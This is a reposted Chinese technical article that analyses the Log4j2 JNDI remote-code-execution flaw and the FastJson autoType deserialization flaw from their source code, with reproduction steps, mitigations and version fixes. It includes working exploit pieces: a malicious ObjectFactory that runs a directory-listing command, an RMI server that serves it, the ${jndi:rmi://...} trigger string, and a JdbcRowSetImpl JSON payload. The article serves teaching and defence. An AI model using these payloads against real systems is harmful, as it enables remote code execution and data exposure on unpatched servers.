您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

从源码看Log4j2、FastJson漏洞

时间:2021-12-31 09:20:35  来源:  作者:Java架构新资讯
从源码看Log4j2、FastJson漏洞

 

远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里。如果远程代码执行的是一个死循环那服务器的CPU不得美滋滋了。

前段时间,JAVA 界的知名日志框架 Log4j2 发现了远程代码执行漏洞,漏洞风暴席卷各大公司,编程届异常火热(加班),我们是万万没想到那么牛逼的日志框架有BUG。

这次安全漏洞也有个小插曲,我司的员工发现了漏洞,上报了Apache没告知GXB,我司也受到了处罚,希望下次引以为戒,不过这事程序员不背锅,管理下次要反思下。

漏洞描述

本次 Apache Log4j 远程代码执行漏洞,是由于组件存在 Java JNDI 注入漏洞:

当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

从源码看Log4j2、FastJson漏洞

 

  • 首先开启HTTP服务器,并将我们的恶意类放在目录下
  • 开启恶意RMI服务器
  • 攻击者输入的参数为上一步开启的恶意RMI服务器地址
  • 恶意RMI服务器返回ReferenceWrApper类
  • 目标服务器在执行lookup操作的时候,将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),进而执行恶意代码

漏洞复现

JNDI

JNDI 是Java 命名和目录接口(Java Naming and Directory Interface,JNDI)的简称,从一开始就一直是 Java 2平台企业版的核心技术之一。

在JMS,JMail,JDBC,EJB等技术中,就大量应用的这种技术。

JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol 轻型目录访问协议)、 CORBA对象服务、文件系统、windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

JNDI 诞生的理由很简单:随着分布式应用的发展,远程访问对象访问成为常用的方法。虽然说通过Socket等编程手段仍然可实现远程通信,但按照模式的理论来说,仍是有其局限性的。

RMI技术,RMI-IIOP技术的产生,使远程对象的查找成为了技术焦点。JNDI技术就应运而生。JNDI技术产生后,就可方便的查找远程或是本地对象。

如下展示了JNDI的架构图。

从源码看Log4j2、FastJson漏洞

 

编写攻击代码

为完成Bug的复现,我们需要简单的搭建一个RMI服务。

首先编写我们的攻击代码。此处攻击代码遍历指定目录下的文件,并将其输出到指定目录中。

攻击者可以获取无法服务器的任意目录结构,恐怖如斯~

public class BadCode implements ObjectFactory { 
 
    @Override 
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { 
        System.out.println("开始执行攻击"); 
 
        String data = "HH,我来了";// 嚣张点 
        File file =new File("./badcode.txt"); 
        //if file does not exists, then create it 
        if(!file.exists()){ 
            file.createNewFile(); 
        } 
        FileWriter fileWritter = new FileWriter(file.getName(),true); 
        fileWritter.write(data); 
        // 遍历服务器指定目录 
        List<String> command = new ArrayList<String>(); 
        command.add("tree"); 
        command.add("**");//指定一个目录 
        String outstring = null; 
        Process p = null; 
        try { 
            ProcessBuilder builder = new ProcessBuilder(); 
            builder.command(command); 
            /** 
             * 将标准输入流和错误输入流合并,通过标准输入流程读取信息 
             */ 
            builder.redirectErrorStream(true); 
            p = builder.start(); 
            outstring = waitFor(p); 
            fileWritter.write(outstring); 
 
        } catch (Exception ex) { 
            ex.printStackTrace(); 
        }finally { 
            fileWritter.close(); 
            p.destroy(); 
        } 
        return obj; 
    } 
 
    public static String waitFor(Process p) { 
        InputStream in = null; 
        int exitValue = -1; 
        StringBuffer outputString = new StringBuffer(); 
        try { 
            in = p.getInputStream(); 
            final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in, "utf-8")); 
            boolean finished = false; 
            int maxRetry = 600;//每次休眠1秒,最长执行时间10分种 
            int retry = 0; 
            while (!finished) { 
                if (retry > maxRetry) { 
                    return "error"; 
                } 
                try { 
                    String line=""; 
                    while ((line=bufferedReader.readLine())!=null) { 
                        outputString.append(line+"n"); 
                    } 
                    //进程未结束时调用exitValue将抛出异常 
                    exitValue = p.exitValue(); 
                    finished = true; 
                } catch (IllegalThreadStateException e) { 
                    Thread.sleep(1000);//休眠1秒 
                    retry++; 
                } 
            } 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } finally { 
            if (in != null) { 
                try { 
                    in.close(); 
                } catch (IOException e) { 
                    System.out.println(e.getMessage()); 
                } 
            } 
        } 
        return outputString.toString(); 
    } 
} 

编写RMI服务并启动。

public class StartRMIserver { 
    public static void main(String[] args) throws Exception { 
        //服务端口1099 
        Registry registry = LocateRegistry.createRegistry(1099); 
        Reference reference = new Reference("BadCode", "BadCode", "http://127.0.0.1:80/"); 
        ReferenceWrapper wrapper = new ReferenceWrapper(reference); 
        registry.bind("bad", wrapper); 
        System.out.println("RegistryServer is running"); 
    } 
} 

打印如下日志复现Bug。

public class BugShow { 
    private static final Logger LOGGER = LogManager.getLogger(); 
 
    public static void main(String[] args) { 
        //改动一些系统默认配置,让系统可以被攻击 
        System.setProperty("java.rmi.server.useCodebaseonly", "false"); 
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 
        //打印攻击日志 
        LOGGER.info("start attack:{}", "${jndi:rmi://127.0.0.1:1099/bad}"); 
    } 
} 

如果一切顺利,你会发现服务器中生成了一个名为badcode.txt的文件,里面存储着指定目录下的所有文件目录。

从源码看Log4j2、FastJson漏洞

 

修复方案

所幸,各大安全团队迅速给出了如下解决方案(本质都一样),似乎是不使用LookUp就解决了。(终极方案是将log4j-core升级为2.16.0)

  • 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
  • 在类路径下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true
  • 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

但是,乖,你不好奇吗?为什么不使用 LookUp 机制就修复了呢?

LookUps 机制

LookUps提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现 StrLookup 接口的特殊类型的插件,Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁祸首)等实现。

如下展示了Date LookUp和Java lookUp的使用。

public class App { 
    private static final Logger LOGGER = LogManager.getLogger(); 
 
    public static void main(String[] args) throws Exception { 
        LOGGER.info("java.os:{}","${java:os}"); 
        LOGGER.info("date:{}","${date:yyyy-MM-dd HH:mm:ss}"); 
    } 
} 
从源码看Log4j2、FastJson漏洞

 

Java Lookup

JavaLookup 使用以 java: 为前缀的的预格式化字符串检索 Java 环境信息。

描述

version

获取Java版本,比如Java version 1.8.0_312

runtime

获取Java运行时版本,比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems, Inc.

vm

获取虚拟机信息,比如OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)

os

获取系统信息,比如mac OS X 11.3.1 unknown, architecture: aarch64-64

locale

获取编码信息,比如default locale: zh_CN, platform encoding: UTF-8

hw

获取硬件信息,比如processors: 8, architecture: aarch64-64

Jndi Lookup

这也是此次漏洞的罪魁祸首!JndiLookup 允许通过 JNDI 检索变量。

默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含":"则不会添加前缀。

默认情况下,JDNI Lookup 仅支持 java、ldap 和 ldaps 协议或不支持协议,可以通过在
log4j2.allowedJndiProtocols 属性上指定它们来支持其他协议。

当使用 LDAP 时,出于安全原因,不支持实现 Referenceable 接口的 Java 类,默认情况下仅支持 Java 的基础类型以及 log4j2.allowedLdapClasses属性指定的任何类。

使用 LDAP 时,仅支持对本地主机名或 IP 地址的引用以及 log4j2.allowedLdapHosts 属性中列出的任何主机或 IP 地址。

Java LookUp源码

通过 LookUp 机制,Log4j框架解析了${}中的内容,跟踪源码可以发现如下调用链,并且可以发现日志中${}内容的替换是在
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的。

从源码看Log4j2、FastJson漏洞

 

观察源码不难发现我们感兴趣的东西——noLookups和对${的查找。

if (config != null && !noLookups) { 
    for (int i = offset; i < workingBuilder.length() - 1; i++) { 
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { 
            // 获取原始的日志  
            final String value = workingBuilder.substring(offset, workingBuilder.length()); 
            workingBuilder.setLength(offset); 
            workingBuilder.append(config.getStrSubstitutor().replace(event, value)); 
        } 
    } 
} 
从源码看Log4j2、FastJson漏洞

 

查看StrSubstitutor类的
org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute方法,美滋滋的发现调用 resolveVariable 方法后获取到了解析的值。

从源码看Log4j2、FastJson漏洞

 

resolveVariable 方法内部调用getVariableResolver()方法获取对应的值解析器,此次获取 JavaLookUp。继续追下去发现version的获取就是从系统环境变量中取得的。

从源码看Log4j2、FastJson漏洞

 


从源码看Log4j2、FastJson漏洞

 

终极解决方案

2.15.0

读完源码不难得出结论:如果不让代码执行${}的解析不就行了,即不使用LookUp机制。

如下图表示了noLookUps的默认值。这也说明了为什么解决方案是增加JVM启动参数:
-Dlog4j2.formatMsgNoLookups=true。

从源码看Log4j2、FastJson漏洞

 

为什么升级为2.15.0后Bug就修复了呢?因为在新版本中默认会使用
SimpleMessagePatternConverter,同时不使用 LookUp 机制。

如下图所示:

从源码看Log4j2、FastJson漏洞

 

2.16.0

  • 默认禁用JNDI的访问,用户需要通过配置 log4j2.enableJndi 参数开启
  • 默认允许协议限制为:java、ldap、ldaps,并将ldap协议限制为仅可访问Java原始对象
  • Message Lookups被完全移除,加固漏洞的防御

在Log4j2升级至 2.16.0 时我们天真的认为已经结束了,万万没想到,2.16.0 又爆出来新的 DOS 拒绝服务攻击漏洞(没完了不是)。

从源码看Log4j2、FastJson漏洞

 

具体说来是,Apache Log4j2 的 2.0-alpha1 到 2.16.0 版本,均未能防止自引用查找的不受控递归。

当日志配置使用了带有上下文查找的非默认模式布局时(例如$${ctx:loginId}),控制线程上下文映射(MDC)数据输入的攻击者,便可制作一份包含递归查找的恶意输入数据,从而导致进程因堆栈溢出报错而被终止。

如果目前不方便升级版本的话,可以采用下面的两种方法来缓解此漏洞:

在日志配置的 PatternLayout 中,用 %X、%mdc 或 %MDC 来替换

从源码看Log4j2、FastJson漏洞

 

或${ctx:loginId} 等Context Lookups

在使用外部数据(HTTP Header或用户输入等)的地方,删除对Context Lookups的引用(如

从源码看Log4j2、FastJson漏洞

 

或${ctx:loginId} )

2.17.0

  • 只有配置中的lookup字符串才允许递归解析。并且仅解析最顶层的lookup,不解析任何嵌套的lookups。
  • 将 JNDI 仅限于 java 协议。默认情况下,JNDI 将保持禁用状态。将 JNDI 启用属性从"log4j2.enableJndi"重命名为"log4j2.enableJndiLookup"、"log4j2.enableJndiJms"和"log4j2.enableJndiContextSelector"。
  • JNDI 仅限于 java 协议。默认情况下,JNDI 将保持禁用状态。启用属性已重命名为"log4j2.enableJndiJava"。

扩展:FastJson 漏洞

远程代码执行漏洞在业内还是比较多见的,除了此次的 Log4j 漏洞,我们再来看看其他工具的漏洞吧!

在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

关于漏洞的具体详情可参考:
https://github.com/alibaba/fastjson/wiki/security_update_20170315。

漏洞原因

FastJson 提供 autoType 功能,在对JSON字符串进行反序列化的时候,会读取@type到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。黑客可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

常用的攻击类库是
com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/bad","autoCommit":true} 

FastJson 的修复方案

在 1.2.25 版本中 FastJson 新增了黑名单机制,如果@type中的类是黑名单中的则直接抛异常。

// 上面提到的 com.sun.rowset.JdbcRowSetImpl 就在黑名单中,即 com.sun. 
private String[]           
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { 
 if (typeName == null) { 
  return null; 
 } 
 
 final String className = typeName.replace('$', '.'); 
 
 if (autoTypeSupport || expectClass != null) { 
  for (int i = 0; i < acceptList.length; ++i) { 
   String accept = acceptList[i]; 
   if (className.startsWith(accept)) { 
    return TypeUtils.loadClass(typeName, defaultClassLoader); 
   } 
  } 
 
  for (int i = 0; i < denyList.length; ++i) { 
   String deny = denyList[i]; 
   // 类名中只要包含了黑名单中的任何对象,直接抛异常,宁可错杀不可放过 
   if (className.startsWith(deny)) { 
    throw new JSONException("autoType is not support. " + typeName); 
   } 
  } 
 } 
 
 ...... 
} 

总结

如下展示了2018年收录漏洞按利用方式统计图与2020年CNVD漏洞产生原因图。

从源码看Log4j2、FastJson漏洞

 


从源码看Log4j2、FastJson漏洞

 

可见漏洞利用的攻击方式分为:本地攻击和远程攻击。

其中远程攻击占比约为89%,本地攻击约占11%,由此可见远程攻击是主要的漏洞攻击的手段,也是需要主要防范的漏洞攻击手段,并且大部分漏洞的产生原因都是设计错误导致的。(所以网络一片呼声希望高铁提供不使用 AutoType 的 FastJson,HH)

分析 Log4j2 的此次漏洞产生原因与修复方案是我们的一小步,希望各位都能写出没有bug的代码(厚颜无耻的说,我一直在写bug~_~)

____________________ 
< 神兽护体,永无bug! > 
-------------------- 
          ^__^ 
         (oo)_______ 
         (__)       )/ 
             ||----w | 
             ||     || 

原文地址:
http://netsecurity.51cto.com/art/202112/697355.htm

如果你觉的本文对你有帮助,麻烦点赞关注支持一下



Tags:Log4j2   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里。如果远程代码执行的是一个死循环那服务器...【详细内容】
2021-12-31  Tags: Log4j2  点击:(0)  评论:(0)  加入收藏
1、Log4j2优点具体优点可以参考官方文档:https://logging.apache.org/log4j/2.x/我这边只简单说一下:相比与其他的日志系统,log4j2丢数据的情况少;在多线程环境下,性能高于logbac...【详细内容】
2019-12-17  Tags: Log4j2  点击:(100)  评论:(0)  加入收藏
▌简易百科推荐
远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里。如果远程代码执行的是一个死循环那服务器...【详细内容】
2021-12-31  Java架构新资讯    Tags:Log4j2   点击:(0)  评论:(0)  加入收藏
Apache Log4j2 远程代码执行漏洞的问题最近闹得沸沸扬扬的,很多人都被大半夜叫起来紧急修复这跟问题。有很多人在微信上问我:这种漏洞还能怎么修?下次有问题还要再升级版本吗?有...【详细内容】
2021-12-30  Java架构新资讯    Tags:Log4j漏洞   点击:(4)  评论:(0)  加入收藏
在最近的一波攻击中,黑客利用多个插件中未修补的漏洞攻击了 160 万个 WordPress 网站。 易受攻击的插件对 WordPress 网站产生了的巨大攻击数据。 Wordfence 最近发现 WordPr...【详细内容】
2021-12-16  蚁安    Tags:WordPress   点击:(12)  评论:(0)  加入收藏
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Z2990Lig    Tags:SSH   点击:(33)  评论:(0)  加入收藏
1、除了服务器需要用的一些正规软件,其它都不要安装。2、在用户中把administrator改名,这样做的目的是即使对方暴破了我们的密码用户名也不容易猜住,相当于又加了一道关卡。...【详细内容】
2021-11-01  IT小哥吧    Tags:服务器   点击:(39)  评论:(0)  加入收藏
账户安全(1)更名administrator本地用户并禁用guest账户步骤:点击“开始”,找到“管理工具”,点击里面的“计算机管理”,找到“本地用户和组” (2)设定账户锁定策略尝试5次失败...【详细内容】
2021-10-12  Kali与编程  今日头条  Tags:Windows主机   点击:(68)  评论:(0)  加入收藏
本文主要介绍以Microsoft的Windows Server 2019 ,版本:Datacenter(Domain Controller)安全加固保护.企业随着规模不断扩大,业务增多,信息安全建设是企业里一条只有重点没有终点...【详细内容】
2021-09-17  Vireshark    Tags:服务器安全   点击:(65)  评论:(0)  加入收藏
目录常见共享命令IPC$IPC$的利用条件1:开启了139、445端口2:目标主机开启了IPC$共享3:IPC连接报错IPC空连接空连接可以做什么?(毫无作用)IPC$非空连接IPC$非空连接可以做什么?di...【详细内容】
2021-09-16  网络说安全    Tags:系统安全   点击:(89)  评论:(0)  加入收藏
昨天一个老哥找到我,说他的服务器这几天一直被CC攻击,问我这边有没有什么解决的方法? 近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不...【详细内容】
2021-09-10  小蚁GDRAGON    Tags:cc攻击   点击:(59)  评论:(0)  加入收藏
网站页面上的登录操作,通常都是输入帐号密码,传输至网站后台验证。在网站页面、数据传输中,通过技术手段,都可以得到用户输入的信息,并可以修改,从而发起网络攻击。典型的如:使用自...【详细内容】
2021-08-30  修丹道的程序猿    Tags:登录方式   点击:(65)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条